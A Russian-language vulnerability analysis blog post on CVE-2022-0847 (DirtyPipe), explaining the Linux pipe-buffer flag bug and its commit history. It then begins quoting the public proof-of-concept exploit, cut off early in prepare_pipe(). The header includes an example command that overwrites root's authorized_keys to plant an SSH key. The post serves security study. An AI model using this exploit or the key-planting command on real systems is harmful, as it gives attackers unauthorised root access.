greetdawn/cve-2022-0847-dirtypipeГлубокий анализ и proof-of-concept эксплойт для CVE-2022-0847 (DirtyPipe), уязвимости ядра Linux, позволяющей произвольную перезапись файлов и локальное повышение привилегий через неинициализированные флаги буфера канала (pipe).
title: CVE-2022-0847 (DirtyPipe локальное повышение привилегий) анализ уязвимости date: 2022-03-08 14:41:20 tags: - Повышение привилегий в Linux categories: - Исследование безопасности
CVE-2022-0847— это уязвимость в ядреLinux, начиная с версии5.8. Используя её, атакующий может перезаписывать данные в любых файлах, доступных только для чтения. Это позволяет повысить обычные привилегии доroot, поскольку непривилегированный процесс может внедрять код в процессы с root-правами.
CVE-2022-0847похожа наCVE-2016-5195 «Dirty Cow»(повышение привилегий Dirty Cow) и легко эксплуатируется. Автор уязвимости назвал еёDirty Pipe.
Этот блог предназначен в основном для изучения и фиксации событий безопасности и статей об уязвимостях, для обмена знаниями и тестирования. Любые прямые или косвенные последствия и ущерб, вызванные распространением или использованием информации и инструментов из этого блога, являются ответственностью использующего; автор статей не несёт за это никакой ответственности.
Уровень опасности: высокий
POC/EXP: опубликован
Затронутые версии: ядро linux 5.8 и более поздние версии
Примечание: безопасные версии: ядро Linux >= 5.16.11, ядро Linux >= 5.15.25, ядро Linux >= 5.10.102
Здесь кратко опишем детали уязвимости.
Несколько понятий:
Linux pipe: полудуплексный, поток данных может идти только с одного конца на другой.
pipe_buffer: трубный кэш, используемый для временного хранения данных, записываемых в канал; чтение и запись выполняются в трубном кэше.
page: страница (page frame), 4 КБ, имеет взаимно однозначное соответствие с трубным кэшем.
pipe_buf_operations: хранит набор операций трубного кэша.
can_merge: флаг слияния. Если для общих операций чтения/записи канала задано слияние данных в существующий буфер, то значение равно 1. Если значение равно 0, то для новых данных всегда используется новый сегмент страницы канала.
splice(): перемещает данные между двумя файловыми дескрипторами; как и функция sendfile(), поддерживает zero-copy для каналов. Она связывает кэш страниц файла с трубным кэшем, то есть запись влияет на оба одновременно. При проверке прав проверяется только право на чтение файла-источника; при записи проверка прав не выполняется. Примерная цепочка вызовов:
// fs/splice.c
syscall --> do_splice --> do_splice_to --> splice_read(generic_file_splice_read()) --> call_read_iter(generic_file_read_iter)
// linux/mm/filemap.c
generic_file_read_iter --> filemap_read --> copy_folio_to_iter
// linux/lib/iov_iter.c
copy_folio_to_iter --> __copy_folio_to_iter --> copy_page_to_iter_pipe
История развития «слияния» в Linux-каналах:
Здесь кратко проанализируем код по описанию автора.
В первоначальной системе Linux всё было так, как описано в концепции: существовал флаг can_merge, указывающий, можно ли записать новые данные в уже существующий трубный кэш.
Commit 5274f052e7b3 добавил функцию splice(), но проверка не изменилась: по-прежнему используется флаг can_merge, чтобы определить, доступен ли текущий трубный кэш.
Commit 01e7187b4119 перестал использовать флаг can_merge и вместо него стал сравнивать указатель struct pipe_buf_operations. Поскольку только тип anon_pipe_buf_ops разрешает запись новых данных, достаточно проверить, является ли буфер этим типом.
Commit 241699cd72a8 добавил две новые функции, которые могут выделять новый struct pipe_buf_operations, но при этом не инициализируют их флаги flags.
Commit f6dd975583bd преобразовал это сравнение указателей в сравнение флага PIPE_BUF_FLAG_CAN_MERGE для каждого буфера, а также позволил внедрять PIPE_BUF_FLAG_CAN_MERGE. Одновременно были удалены определения и использование других типов buf_ops.
Поэтому у автора возникла следующая идея эксплуатации:
PIPE_BUF_FLAG_CAN_MERGE в pipe_buffer.splice связывает трубный кэш с кэшем страниц.write в конечном счёте вызывает copy_page_from_iter() для записи. Из-за флага PIPE_BUF_FLAG_CAN_MERGE запись выполняется напрямую.Разбор эксплойта
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <[email protected]>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort(); // 创建p[0]和p[1]分别指向管道两端。前者读，后者写
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); // 获取管道大小
static char buffer[4096];